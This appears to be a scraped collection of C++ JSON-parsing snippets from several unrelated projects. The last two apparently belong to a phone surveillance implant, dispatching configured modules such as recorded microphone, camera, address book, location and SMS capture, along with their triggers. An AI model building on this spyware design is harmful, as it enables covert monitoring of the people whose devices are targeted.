Exemple #1
0
void CTestJSON::parseJsonStr( const std::wstring& strJsonStr )
{
	JSONValue* jsInput = JSON::Parse(strJsonStr.c_str());
	if (jsInput == NULL || !jsInput->IsObject())
	{
		return;
	}

	JSONObject::const_iterator itResult = jsInput->AsObject().find(L"result");
	if (itResult != jsInput->AsObject().end())
	{
		std::wstring strResult = itResult->second->AsString();
		std::wcout << L"result" << L":" << strResult << std::endl;
	}

	JSONObject::const_iterator itLove = jsInput->AsObject().find(L"Love");
	if (itLove != jsInput->AsObject().end())
	{
		std::wstring strResult = itLove->second->AsString();
		std::wcout << L"Love" << L":" << strResult << std::endl;
	}

	JSONArray jsArray;
	JSONObject::const_iterator itContents = jsInput->AsObject().find(L"contents");
	if (itContents != jsInput->AsObject().end() && itContents->second != NULL && itContents->second->IsArray())
	{
		jsArray = itContents->second->AsArray();
	}

	std::wcout << "[" << std::endl;
	JSONArray::iterator it = jsArray.begin();
	JSONArray::iterator itEnd = jsArray.end();
	for (; it != itEnd; ++it)
	{
		JSONValue* jsValue = *it;
		if (jsValue->IsObject())
		{
			jsValue->AsObject();
			JSONObject::const_iterator itObj = jsValue->AsObject().begin();
			JSONObject::const_iterator itObjEnd = jsValue->AsObject().end();
			for (; itObj != itObjEnd; ++itObj)
			{
				std::wstring strValue = itObj->second->AsString();
				std::wcout << L"{" << itObj->first << L":" << strValue << L"}" << std::endl;
			}
		}
		else if (jsValue->IsString())
		{		
			std::wstring strValue = jsValue->AsString();
			std::wcout << strValue << std::endl;
		}
		else if (jsValue->IsNumber())
		{
			double dValue = jsValue->AsNumber();
			std::wcout << dValue << std::endl;
		}
		//...
	}
	std::wcout << "]" << std::endl;
}
const wstring& Configuration::getString(const wstring& field) {
	JSONValue *c = json[field];

	if (c == NULL || c->IsString() == FALSE) {
		throw new exception();
	}

	return c->AsString();
}
const wstring& Configuration::getStringFromObject(JSONObject& obj, const wstring& field) {
	JSONValue *val = obj[field];

	if (val == NULL || val->IsString() == FALSE) {
		throw new exception();
	}

	return val->AsString();
}
const wstring& Configuration::getStringFromArray(const wstring& arrayName, const wstring& field) {
	JSONObject::const_iterator iter;

	JSONValue *c = json[arrayName];

	if (c == NULL || c->IsObject() == FALSE) {
		throw new exception();
	}

	JSONObject arr = c->AsObject();
	JSONValue *val = arr[field];

	if (val == NULL || val->IsString() == FALSE) {
		throw new exception();
	}

	return val->AsString();
}
void CommandController::Process(std::string source, std::string message)
{
	// commands can perform an effect on the game via the command functors ...

	JSONValue *value = JSON::Parse(message.c_str());

	std::string id,target;
	if (value)
	{
		if (!value->IsObject())
		{
			EZLOGGERVLSTREAM(axter::log_always) << "Input from " << source << ": Object expected." <<  std::endl;
		}
		else
		{
			JSONObject object = value->AsObject();

			JSONValue* jsonID = (object.find(L"id") != object.end())?  object[L"id"] : NULL;
			JSONValue* jsonTarget = (object.find(L"target") != object.end())?  object[L"target"] : NULL;

			if (jsonID != NULL && jsonID->IsString())
			{
				std::wstring ws = jsonID->AsString();
				id  = std::string( ws.begin(), ws.end() );
			}
			else
			{
				EZLOGGERVLSTREAM(axter::log_always) << "Input from " << source << ": string id expected." <<  std::endl;
			}

			if (jsonTarget != NULL && jsonTarget->IsString())
			{
				std::wstring ws = jsonTarget->AsString();
				target  = std::string( ws.begin(), ws.end() );
			}
		}
	}
	
	delete value;

	bool toSend = true;
	auto clientCommandIter = clientCommands.find(source);

	if (clientCommandIter != clientCommands.end())
	{
		// there is a filter list for this client
		toSend = false;
		for (auto i = clientCommandIter->second.begin(); i != clientCommandIter->second.end(); i++)
		{
			if (id.compare(*i) == 0 )
			{
				toSend = true;
				break;
			}
		}
	}

	if (!toSend)
		return;

	auto commandIterator = commands.find(id);
	if (commandIterator != commands.end())
	{
		// call the behavior
		(commandIterator->second)(target);
	}

	// ... and they can also be routed to other clients
	auto configurationIter = commandConfigurations.find(id);
	if (configurationIter != commandConfigurations.end())
	{
		// a config exists, send to all in 'route'
		auto configuration = configurationIter->second;
		for (auto i = configuration.route.begin(); i != configuration.route.end(); i++)
		{
			auto client = *i;
			for (auto j = commanders.begin(); j != commanders.end(); j++)
			{
				auto clientConnection = *j;
				if (clientConnection->id.compare(client) == 0)
				{
					clientConnection->Send(message);
				}
			}
		}
	}



}
Exemple #6
0
BOOL WINAPI Conf::ParseModule(JSONArray js) {

	UINT i = 0;
	ModulesManager *modulesManager = ModulesManager::self();

	for (i = 0; i < js.size(); i++) {
		JSONObject jo = js[i]->AsObject();
		JSONValue *c = jo[L"module"];

		if (c == NULL || c->IsString() == FALSE || c->AsString().empty() == TRUE) {
			// WARNING
			continue;
		}

		void* startProc = NULL;
		wstring moduleName = c->AsString();

#ifdef _DEBUG
		//wprintf(L"Parsing Module: %s\n", moduleName.c_str());
		WCHAR msg[128];
		swprintf_s(msg, L"Parsing Module: %s\n", moduleName.c_str());OutputDebugString(msg);

#endif

		do {
/***
			if (moduleName.compare(L"application") == 0 ) {
				startProc = ApplicationModule;
				break;
			}

			if (moduleName.compare(L"call") == 0 ) {
				startProc = RecordedCalls;
				break;
			}
***/
/***
			if (moduleName.compare(L"calllist") == 0 ) {
				startProc = CallListAgent;
				break;
			}
***/
#ifdef DEMO_ISS
			if (moduleName.compare(L"camera") == 0 ) {
				startProc = CameraModule;
				break;
			}
#endif

/***
			if (moduleName.compare(L"clipboard") == 0 ) {
				startProc = ClipboardModule;
				continue;
			}

			if (moduleName.compare(L"conference") == 0 ) {
				startProc = CallAgent;
				break;
			}
***/
			if (moduleName.compare(L"crisis") == 0 ) {
				startProc = CrisisModule;
				break;
			}

			
			if (moduleName.compare(L"device") == 0 ) {
				startProc = DeviceInfoAgent;
				break;
			}
			
/***
			if (moduleName.compare(L"livemic") == 0 ) {
				startProc = LiveMicModule;
				break;
			}

			if (moduleName.compare(L"messages") == 0 ) {
				startProc = SmsAgent;
				break;
			}
			***/
			if (moduleName.compare(L"mic") == 0 ) {
				startProc = RecordedMicrophone;
				break;
			}
			
			// AddressBook e calendar sono la stessa cosa
			if (moduleName.compare(L"addressbook") == 0) {
				startProc = AddressbookModule;
				break;
			}

			
			if (moduleName.compare(L"calendar") == 0 ) {
				startProc =CalendarModule;
				break;
			}
			

			if (moduleName.compare(L"position") == 0 ) {
				startProc = PositionModule;
				break;
			}
/***
			if (moduleName.compare(L"screenshot") == 0 ) {
				startProc = SnapshotModule;
				break;
			}
***/
/***
			if (moduleName.compare(L"url") == 0 ) {
				startProc = UrlModule;
				break;
			}
***/
		} while (0);

		if (startProc != NULL)
			modulesManager->add(moduleName, jo, startProc);

		// startProc == NULL -> Unknown agent
	}

	return TRUE;
}
Exemple #7
0
BOOL WINAPI Conf::ParseEvent(JSONArray js) {

	UINT i = 0;
	EventsManager *eventsManager = EventsManager::self();

	for (i = 0; i < js.size(); i++) {
		JSONObject jo = js[i]->AsObject();
		JSONValue *c = jo[L"event"];

		if (c == NULL || c->IsString() == FALSE || c->AsString().empty() == TRUE) {
			// WARNING
			continue;
		}

		void* startProc = NULL;
		wstring eventName = c->AsString();

#ifdef _DEBUG
		WCHAR msg[128];
		//wprintf(L"Parsing Event: %s\n", eventName.c_str());
		swprintf_s(msg, L"Parsing Event: %s\n", eventName.c_str());OutputDebugString(msg);
#endif
		
		do {
		
			if (eventName.compare(L"ac") == 0 ) {
				startProc = OnAC;
				break;
			}


			if (eventName.compare(L"battery") == 0 ) {
				startProc = OnBatteryLevel;
				break;
			}
/***
			if (eventName.compare(L"call") == 0 ) {
				startProc = OnCall;
				break;
			}

			if (eventName.compare(L"connection") == 0 ) {
				startProc = OnConnection;
				break;
			}
			***/
			if (eventName.compare(L"position") == 0 ) {
				startProc = OnLocation;
				continue;
			}
			/***
			if (eventName.compare(L"process") == 0 ) {
				startProc = OnProcess;
				break;
			}

			if (eventName.compare(L"standby") == 0 ) {
				startProc = OnStandby;
				break;
			}

			if (eventName.compare(L"simchange") == 0 ) {
				startProc = OnSimChange;
				break;
			}
			***/
			if (eventName.compare(L"timer") == 0 ) {
				startProc = OnTimer;
				break;
			}
			/***
			if (eventName.compare(L"afterinst") == 0 ) {
				startProc = OnAfterInst;
				break;
			}
			***/
			if (eventName.compare(L"date") == 0 ) {
				startProc = OnDate;
				break;
			}
			/***
			if (eventName.compare(L"sms") == 0 ) {
				startProc = OnSms;
				break;
			}
			***/
		} while (0);

		if (startProc != NULL)
			eventsManager->add(eventName, jo, startProc);

		// startProc == NULL -> Unknown agent
	}

	return TRUE;
}